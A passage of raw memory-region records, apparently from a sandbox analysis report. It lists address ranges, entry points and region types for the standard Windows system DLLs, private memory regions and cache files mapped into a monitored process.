start_va = 0x7fff10600000 end_va = 0x7fff1060bfff monitored = 0 entry_point = 0x7fff106027e0 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1646 start_va = 0x7fff11eb0000 end_va = 0x7fff11f64fff monitored = 0 entry_point = 0x7fff11ef22e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 1647 start_va = 0x7fff0b200000 end_va = 0x7fff0b23dfff monitored = 0 entry_point = 0x7fff0b20a050 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 1648 start_va = 0x7fff11220000 end_va = 0x7fff1126afff monitored = 0 entry_point = 0x7fff112235f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 1649 start_va = 0x640000 end_va = 0x640fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000640000" filename = "" Region: id = 1650 start_va = 0x7fff126f0000 end_va = 0x7fff12796fff monitored = 0 entry_point = 0x7fff126fb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1651 start_va = 0xb20000 end_va = 0xbfcfff monitored = 0 entry_point = 0xb7e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1652 start_va = 0x1300000 end_va = 0x13fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001300000" filename = "" Region: id = 1653 start_va = 0x7fff0b130000 end_va = 0x7fff0b13afff monitored = 0 entry_point = 0x7fff0b131770 region_type = mapped_file name = "lfsvc.dll" filename = "\\Windows\\System32\\lfsvc.dll" (normalized: "c:\\windows\\system32\\lfsvc.dll") Region: id = 1654 start_va = 0x7fff0b840000 end_va = 0x7fff0b8d1fff monitored = 0 entry_point = 0x7fff0b88a780 region_type = mapped_file name = "msvcp110_win.dll" filename = "\\Windows\\System32\\msvcp110_win.dll" (normalized: "c:\\windows\\system32\\msvcp110_win.dll") Region: id = 1655 start_va = 0x1400000 end_va = 0x14fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001400000" filename = "" Region: id = 1656 start_va = 0x1500000 end_va = 0x15fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001500000" filename = "" Region: id = 1657 start_va = 0x7fff0afb0000 end_va = 0x7fff0b12bfff monitored = 0 entry_point = 0x7fff0b001650 region_type = mapped_file name = "locationframework.dll" filename = "\\Windows\\System32\\LocationFramework.dll" (normalized: "c:\\windows\\system32\\locationframework.dll") Region: id = 1658 start_va = 0x7fff11c30000 end_va = 0x7fff11df6fff monitored = 0 entry_point = 0x7fff11c8db80 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1659 start_va = 0x7fff11210000 end_va = 0x7fff1121ffff monitored = 0 entry_point = 0x7fff112156e0 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1660 start_va = 0x7fff0faa0000 end_va = 0x7fff0fadffff monitored = 0 entry_point = 0x7fff0fab1960 region_type = mapped_file name = "brokerlib.dll" filename = "\\Windows\\System32\\BrokerLib.dll" (normalized: "c:\\windows\\system32\\brokerlib.dll") Region: id = 1661 start_va = 0x7fff0af40000 end_va = 0x7fff0afa0fff monitored = 0 entry_point = 0x7fff0af44b50 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" (normalized: "c:\\windows\\system32\\wlanapi.dll") Region: id = 1662 start_va = 0x1600000 end_va = 0x1936fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1663 start_va = 0x7fff0ae70000 end_va = 0x7fff0af37fff monitored = 0 entry_point = 0x7fff0aeb13f0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 1664 start_va = 0x7fff0dc20000 end_va = 0x7fff0dc55fff monitored = 0 entry_point = 0x7fff0dc30070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 1665 start_va = 0x660000 end_va = 0x660fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000660000" filename = "" Region: id = 1666 start_va = 0x6b0000 end_va = 0x6b6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006b0000" filename = "" Region: id = 1667 start_va = 0x7fff101f0000 end_va = 0x7fff10213fff monitored = 0 entry_point = 0x7fff101f3260 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 1668 start_va = 0x1940000 end_va = 0x1a3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001940000" filename = "" Region: id = 1669 start_va = 0x7fff0ae60000 end_va = 0x7fff0ae6ffff monitored = 0 entry_point = 0x7fff0ae62c60 region_type = mapped_file name = "usermgrcli.dll" filename = "\\Windows\\System32\\usermgrcli.dll" (normalized: "c:\\windows\\system32\\usermgrcli.dll") Region: id = 1670 start_va = 0x7fff0ae50000 end_va = 0x7fff0ae5bfff monitored = 0 entry_point = 0x7fff0ae514d0 region_type = mapped_file name = "locationframeworkps.dll" filename = "\\Windows\\System32\\LocationFrameworkPS.dll" (normalized: "c:\\windows\\system32\\locationframeworkps.dll") Region: id = 1671 start_va = 0x7fff0ac80000 end_va = 0x7fff0ad3efff monitored = 0 entry_point = 0x7fff0aca1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 1672 start_va = 0x1a40000 end_va = 0x1b3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a40000" filename = "" Region: id = 1675 start_va = 0x7fff0f8d0000 end_va = 0x7fff0f8ebfff monitored = 0 entry_point = 0x7fff0f8d37a0 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 1676 start_va = 0x1b40000 end_va = 0x1c3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b40000" filename = "" Region: id = 1677 start_va = 0x7fff10ed0000 end_va = 0x7fff10efcfff monitored = 0 entry_point = 0x7fff10ee9d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1678 start_va = 0x670000 end_va = 0x67cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\gpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\gpsvc.dll.mui") Region: id = 1679 start_va = 0xb20000 end_va = 0xb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b20000" filename = "" Region: id = 1680 start_va = 0xd00000 end_va = 0xdfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d00000" filename = "" Region: id = 1681 start_va = 0x1c40000 end_va = 0x1d3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c40000" filename = "" Region: id = 1682 start_va = 0x7fff0a970000 end_va = 0x7fff0aa6bfff monitored = 0 entry_point = 0x7fff0a9a6df0 region_type = mapped_file name = "schedsvc.dll" filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll") Region: id = 1683 start_va = 0x680000 end_va = 0x680fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000680000" filename = "" Region: id = 1684 start_va = 0x7fff0a920000 end_va = 0x7fff0a960fff monitored = 0 entry_point = 0x7fff0a937eb0 region_type = mapped_file name = "ubpm.dll" filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll") Region: id = 1685 start_va = 0x7fff11060000 end_va = 0x7fff11078fff monitored = 0 entry_point = 0x7fff11065e10 region_type = mapped_file name = "eventaggregation.dll" filename = "\\Windows\\System32\\EventAggregation.dll" (normalized: "c:\\windows\\system32\\eventaggregation.dll") Region: id = 1686 start_va = 0xe00000 end_va = 0xea6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 1687 start_va = 0x7fff0a830000 end_va = 0x7fff0a915fff monitored = 0 entry_point = 0x7fff0a84cf10 region_type = mapped_file name = "usermgr.dll" filename = "\\Windows\\System32\\usermgr.dll" (normalized: "c:\\windows\\system32\\usermgr.dll") Region: id = 1688 start_va = 0x7fff106e0000 end_va = 0x7fff10710fff monitored = 0 entry_point = 0x7fff106e7d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1689 start_va = 0x7fff0c380000 end_va = 0x7fff0c4b5fff monitored = 0 entry_point = 0x7fff0c3af350 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll") Region: id = 1690 start_va = 0x1d40000 end_va = 0x1f3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d40000" filename = "" Region: id = 1691 start_va = 0x1e00000 end_va = 0x1efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 1692 start_va = 0x7fff10490000 end_va = 0x7fff104d8fff monitored = 0 entry_point = 0x7fff1049a090 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 1693 start_va = 0x7fff0ab20000 end_va = 0x7fff0ab30fff monitored = 0 entry_point = 0x7fff0ab23320 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 1694 start_va = 0x680000 end_va = 0x680fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 1695 start_va = 0x7fff11080000 end_va = 0x7fff110a8fff monitored = 0 entry_point = 0x7fff11094530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1696 start_va = 0x1a40000 end_va = 0x1b3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a40000" filename = "" Region: id = 1697 start_va = 0xe00000 end_va = 0xe7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 1698 start_va = 0xea0000 end_va = 0xea6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ea0000" filename = "" Region: id = 1699 start_va = 0x1f00000 end_va = 0x1ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f00000" filename = "" Region: id = 1700 start_va = 0x7fff0a7c0000 end_va = 0x7fff0a82dfff monitored = 0 entry_point = 0x7fff0a7c7f60 region_type = mapped_file name = "taskcomp.dll" filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll") Region: id = 1701 start_va = 0x680000 end_va = 0x680fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 1702 start_va = 0x680000 end_va = 0x680fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 1703 start_va = 0x7fff0a710000 end_va = 0x7fff0a751fff monitored = 0 entry_point = 0x7fff0a7127d0 region_type = mapped_file name = "mstask.dll" filename = "\\Windows\\System32\\mstask.dll" (normalized: "c:\\windows\\system32\\mstask.dll") Region: id = 1704 start_va = 0x680000 end_va = 0x681fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000680000" filename = "" Region: id = 1705 start_va = 0x2000000 end_va = 0x20fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002000000" filename = "" Region: id = 1706 start_va = 0x1d40000 end_va = 0x1dbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d40000" filename = "" Region: id = 1707 start_va = 0x2100000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002100000" filename = "" Region: id = 1708 start_va = 0x7fff0a6f0000 end_va = 0x7fff0a705fff monitored = 0 entry_point = 0x7fff0a6f1b60 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1709 start_va = 0x7fff0a6c0000 end_va = 0x7fff0a6eefff monitored = 0 entry_point = 0x7fff0a6c8910 region_type = mapped_file name = "wptaskscheduler.dll" filename = "\\Windows\\System32\\WPTaskScheduler.dll" (normalized: "c:\\windows\\system32\\wptaskscheduler.dll") Region: id = 1710 start_va = 0x2200000 end_va = 0x22fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 1711 start_va = 0x2300000 end_va = 0x237ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002300000" filename = "" Region: id = 1712 start_va = 0x7fff0a660000 end_va = 0x7fff0a66cfff monitored = 0 entry_point = 0x7fff0a662ca0 region_type = mapped_file name = "csystemeventsbrokerclient.dll" filename = "\\Windows\\System32\\CSystemEventsBrokerClient.dll" (normalized: "c:\\windows\\system32\\csystemeventsbrokerclient.dll") Region: id = 1713 start_va = 0x7fff0a630000 end_va = 0x7fff0a65dfff monitored = 0 entry_point = 0x7fff0a637550 region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 1714 start_va = 0x7fff10cd0000 end_va = 0x7fff10cf0fff monitored = 0 entry_point = 0x7fff10ce0250 region_type = mapped_file name = "joinutil.dll" filename = "\\Windows\\System32\\joinutil.dll" (normalized: "c:\\windows\\system32\\joinutil.dll") Region: id = 1715 start_va = 0x7fff0a5e0000 end_va = 0x7fff0a620fff monitored = 0 entry_point = 0x7fff0a5e4840 region_type = mapped_file name = "usermgrproxy.dll" filename = "\\Windows\\System32\\UserMgrProxy.dll" (normalized: "c:\\windows\\system32\\usermgrproxy.dll") Region: id = 1716 start_va = 0x2380000 end_va = 0x23fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 1717 start_va = 0x7fff0a4d0000 end_va = 0x7fff0a569fff monitored = 0 entry_point = 0x7fff0a4eada0 region_type = mapped_file name = "shsvcs.dll" filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll") Region: id = 1718 start_va = 0x7fff10ac0000 end_va = 0x7fff10b1bfff monitored = 0 entry_point = 0x7fff10ad6f70 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 1719 start_va = 0x7fff0fc30000 end_va = 0x7fff0fc56fff monitored = 0 entry_point = 0x7fff0fc37940 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1720 start_va = 0x690000 end_va = 0x690fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 1721 start_va = 0x7fff0a400000 end_va = 0x7fff0a4bffff monitored = 0 entry_point = 0x7fff0a42fd20 region_type = mapped_file name = "fveapi.dll" filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll") Region: id = 1722 start_va = 0x7fff0a3e0000 end_va = 0x7fff0a3fffff monitored = 0 entry_point = 0x7fff0a3e39a0 region_type = mapped_file name = "locationwinpalmisc.dll" filename = "\\Windows\\System32\\LocationWinPalMisc.dll" (normalized: "c:\\windows\\system32\\locationwinpalmisc.dll") Region: id = 1723 start_va = 0x6a0000 end_va = 0x6a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006a0000" filename = "" Region: id = 1724 start_va = 0x6c0000 end_va = 0x6c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006c0000" filename = "" Region: id = 1725 start_va = 0x7fff0a380000 end_va = 0x7fff0a3d1fff monitored = 0 entry_point = 0x7fff0a3838e0 region_type = mapped_file name = "proximityservice.dll" filename = "\\Windows\\System32\\ProximityService.dll" (normalized: "c:\\windows\\system32\\proximityservice.dll") Region: id = 1726 start_va = 0x7fff0a340000 end_va = 0x7fff0a376fff monitored = 0 entry_point = 0x7fff0a346020 region_type = mapped_file name = "gnssadapter.dll" filename = "\\Windows\\System32\\GnssAdapter.dll" (normalized: "c:\\windows\\system32\\gnssadapter.dll") Region: id = 1727 start_va = 0x7fff0a2e0000 end_va = 0x7fff0a334fff monitored = 0 entry_point = 0x7fff0a2e3fb0 region_type = mapped_file name = "policymanager.dll" filename = "\\Windows\\System32\\policymanager.dll" (normalized: "c:\\windows\\system32\\policymanager.dll") Region: id = 1728 start_va = 0x7fff0a2b0000 end_va = 0x7fff0a2dcfff monitored = 0 entry_point = 0x7fff0a2b2290 region_type = mapped_file name = "proximitycommon.dll" filename = "\\Windows\\System32\\ProximityCommon.dll" (normalized: "c:\\windows\\system32\\proximitycommon.dll") Region: id = 1729 start_va = 0x7fff0a2a0000 end_va = 0x7fff0a2a8fff monitored = 0 entry_point = 0x7fff0a2a1ed0 region_type = mapped_file name = "proximitycommonpal.dll" filename = "\\Windows\\System32\\ProximityCommonPal.dll" (normalized: "c:\\windows\\system32\\proximitycommonpal.dll") Region: id = 1730 start_va = 0x7fff0aba0000 end_va = 0x7fff0abd7fff monitored = 0 entry_point = 0x7fff0abb8cc0 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1731 start_va = 0x2400000 end_va = 0x24fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002400000" filename = "" Region: id = 1732 start_va = 0x7fff0a230000 end_va = 0x7fff0a23ffff monitored = 0 entry_point = 0x7fff0a231700 region_type = mapped_file name = "proximityservicepal.dll" filename = "\\Windows\\System32\\ProximityServicePal.dll" (normalized: "c:\\windows\\system32\\proximityservicepal.dll") Region: id = 1733 start_va = 0x7fff0ab80000 end_va = 0x7fff0ab8bfff monitored = 0 entry_point = 0x7fff0ab82830 region_type = mapped_file name = "bi.dll" filename = "\\Windows\\System32\\bi.dll" (normalized: "c:\\windows\\system32\\bi.dll") Region: id = 1734 start_va = 0x7fff11e20000 end_va = 0x7fff11ea5fff monitored = 0 entry_point = 0x7fff11e2d8f0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 1735 start_va = 0x7fff10070000 end_va = 0x7fff100a1fff monitored = 0 entry_point = 0x7fff10082340 region_type = mapped_file name = "fwbase.dll" filename = "\\Windows\\System32\\fwbase.dll" (normalized: "c:\\windows\\system32\\fwbase.dll") Region: id = 1736 start_va = 0x7fff0a210000 end_va = 0x7fff0a229fff monitored = 0 entry_point = 0x7fff0a212cf0 region_type = mapped_file name = "locationpelegacywinlocation.dll" filename = "\\Windows\\System32\\LocationPeLegacyWinLocation.dll" (normalized: "c:\\windows\\system32\\locationpelegacywinlocation.dll") Region: id = 1737 start_va = 0x7fff122c0000 end_va = 0x7fff12402fff monitored = 0 entry_point = 0x7fff122e8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1738 start_va = 0x7fff0f930000 end_va = 0x7fff0f942fff monitored = 0 entry_point = 0x7fff0f932760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1739 start_va = 0x7fff0a190000 end_va = 0x7fff0a1a0fff monitored = 0 entry_point = 0x7fff0a197ea0 region_type = mapped_file name = "dcpapi.dll" filename = "\\Windows\\System32\\dcpapi.dll" (normalized: "c:\\windows\\system32\\dcpapi.dll") Region: id = 1740 start_va = 0x7fff0a160000 end_va = 0x7fff0a184fff monitored = 0 entry_point = 0x7fff0a172f20 region_type = mapped_file name = "wificonnapi.dll" filename = "\\Windows\\System32\\wificonnapi.dll" (normalized: "c:\\windows\\system32\\wificonnapi.dll") Region: id = 1741 start_va = 0x7fff0a120000 end_va = 0x7fff0a158fff monitored = 0 entry_point = 0x7fff0a129c90 region_type = mapped_file name = "aepic.dll" filename = "\\Windows\\System32\\aepic.dll" (normalized: "c:\\windows\\system32\\aepic.dll") Region: id = 1742 start_va = 0x7fff0a100000 end_va = 0x7fff0a110fff monitored = 0 entry_point = 0x7fff0a103e10 region_type = mapped_file name = "sfc_os.dll" filename = "\\Windows\\System32\\sfc_os.dll" (normalized: "c:\\windows\\system32\\sfc_os.dll") Region: id = 1743 start_va = 0x7fff0bff0000 end_va = 0x7fff0c371fff monitored = 0 entry_point = 0x7fff0c041220 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 1744 start_va = 0x2500000 end_va = 0x26fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002500000" filename = "" Region: id = 1745 start_va = 0x2500000 end_va = 0x25fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002500000" filename = "" Region: id = 1746 start_va = 0x7fff0a0a0000 end_va = 0x7fff0a150fff monitored = 0 entry_point = 0x7fff0a1188b0 region_type = mapped_file name = "cellularapi.dll" filename = "\\Windows\\System32\\CellularAPI.dll" (normalized: "c:\\windows\\system32\\cellularapi.dll") Region: id = 1747 start_va = 0x7fff0a080000 end_va = 0x7fff0a091fff monitored = 0 entry_point = 0x7fff0a089260 region_type = mapped_file name = "rilproxy.dll" filename = "\\Windows\\System32\\rilproxy.dll" (normalized: "c:\\windows\\system32\\rilproxy.dll") Region: id = 1748 start_va = 0x7fff09fd0000 end_va = 0x7fff0a07dfff monitored = 0 entry_point = 0x7fff09fe80c0 region_type = mapped_file name = "windows.networking.connectivity.dll" filename = "\\Windows\\System32\\Windows.Networking.Connectivity.dll" (normalized: "c:\\windows\\system32\\windows.networking.connectivity.dll") Region: id = 1749 start_va = 0x7fff0eac0000 end_va = 0x7fff0eac7fff monitored = 0 entry_point = 0x7fff0eac13e0 region_type = mapped_file name = "dabapi.dll" filename = "\\Windows\\System32\\dabapi.dll" (normalized: "c:\\windows\\system32\\dabapi.dll") Region: id = 1753 start_va = 0x7fff101e0000 end_va = 0x7fff101ebfff monitored = 0 entry_point = 0x7fff101e2790 region_type = mapped_file name = "hid.dll" filename = "\\Windows\\System32\\hid.dll" (normalized: "c:\\windows\\system32\\hid.dll") Region: id = 1754 start_va = 0x7fff0d9c0000 end_va = 0x7fff0da23fff monitored = 0 entry_point = 0x7fff0d9d5ae0 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 1755 start_va = 0x2600000 end_va = 0x26fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 1756 start_va = 0x7fff10c90000 end_va = 0x7fff10c9afff monitored = 0 entry_point = 0x7fff10c919a0 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1757 start_va = 0x7fff0f740000 end_va = 0x7fff0f8c5fff monitored = 0 entry_point = 0x7fff0f78d700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 1758 start_va = 0x6c0000 end_va = 0x6c3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1759 start_va = 0xba0000 end_va = 0xbe4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000c.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000c.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000c.db") Region: id = 1760 start_va = 0x6d0000 end_va = 0x6d3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1761 start_va = 0x1300000 end_va = 0x138dfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 1762 start_va = 0xe80000 end_va = 0xe90fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\System32\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\propsys.dll.mui") Region: id = 1775 start_va = 0x2700000 end_va = 0x28fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002700000" filename = "" Region: id = 1776 start_va = 0x2700000 end_va = 0x27fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002700000" filename = "" Region: id = 1777 start_va = 0x2800000 end_va = 0x287ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002800000" filename = "" Region: id = 1778 start_va = 0x7fff092c0000 end_va = 0x7fff092cdfff monitored = 0 entry_point = 0x7fff092c1460 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 1893 start_va = 0x7fff0f8f0000 end_va = 0x7fff0f921fff monitored = 0 entry_point = 0x7fff0f8fb0c0 region_type = mapped_file name = "shacct.dll" filename = "\\Windows\\System32\\shacct.dll" (normalized: "c:\\windows\\system32\\shacct.dll") Region: id = 1894 start_va = 0x7fff091b0000 end_va = 0x7fff0924afff monitored = 0 entry_point = 0x7fff091b7220 region_type = mapped_file name = "settingsync.dll" filename = "\\Windows\\System32\\SettingSync.dll" (normalized: "c:\\windows\\system32\\settingsync.dll") Region: id = 1895 start_va = 0x6e0000 end_va = 0x6e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 1896 start_va = 0x2880000 end_va = 0x295ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 1901 start_va = 0x7fff09190000 end_va = 0x7fff091a0fff monitored = 0 entry_point = 0x7fff091928d0 region_type = mapped_file name = "credentialmigrationhandler.dll" filename = "\\Windows\\System32\\CredentialMigrationHandler.dll" (normalized: "c:\\windows\\system32\\credentialmigrationhandler.dll") Region: id = 1902 start_va = 0x2960000 end_va = 0x2a5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002960000" filename = "" Region: id = 1918 start_va = 0x2a60000 end_va = 0x2adffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a60000" filename = "" Region: id = 1919 start_va = 0x7fff0bd90000 end_va = 0x7fff0be09fff monitored = 0 entry_point = 0x7fff0bdb7630 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 1920 start_va = 0x7fff110b0000 end_va = 0x7fff11148fff monitored = 0 entry_point = 0x7fff110df4e0 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 1921 start_va = 0xbf0000 end_va = 0xbf1fff monitored = 0 entry_point = 0xbf5630 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 1922 start_va = 0xeb0000 end_va = 0xeb4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 1923 start_va = 0xec0000 end_va 